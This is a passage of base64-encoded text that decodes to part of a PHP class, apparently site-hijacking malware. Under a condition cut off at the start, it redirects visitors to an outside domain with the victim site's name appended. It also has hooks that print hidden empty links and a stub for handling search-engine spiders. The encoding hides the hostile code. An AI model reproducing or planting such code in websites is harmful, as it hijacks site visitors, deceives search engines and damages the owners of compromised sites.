KCkpewoJCQkkZG9tYWluICA9IHN0cl9yZXBsYWNlKCIuIiwiXyIsJHRoaXMtPmRvbWFpbik7CgkJ CWhlYWRlcignTG9jYXRpb246IGh0dHA6Ly9udC53eGNvb2xiYWJ5LmNvbS9udC8/anBfJy4kZG9t YWluKTsKCQkJZXhpdDsKCQl9Cgl9CgkKCXB1YmxpYyBmdW5jdGlvbiBfdW5jb25kaXRpb25faG9v aygpewoJCSRhcnJheSA9IGFycmF5KCk7CgkJZm9yKCRhPTA7JGE8NTskYSsrKXsKCQkJZWNobyAn PGEgaHJlZj0iJy5BcHBfR2V0TGluaygpLiciPjwvYT4nLiJcbiI7CgkJfQoJfQoKCXB1YmxpYyBm dW5jdGlvbiBfdW5TcGlkZXJfaG9vaygpewoJCS8vCgl9CgoKCXB1YmxpYyBmdW5jdGlvbiBzdHJT dGFydFdpdGgoJG5lZWRsZSwgJGhheXN0YWNrKXsKICAJICByZXR1cm4gKHN1YnN0cigkaGF5c3Rh Y2ssIDAsIHN0cmxlbigkbmVlZGxlKSk9PSRuZWVkbGUpOwoJfQoJCglwdWJsaWMgZnVuY3Rpb24g Y3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20sJGZpbGUp OyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4gICAkbWVz c2FnZVswXTsKCX0KfQoKCg==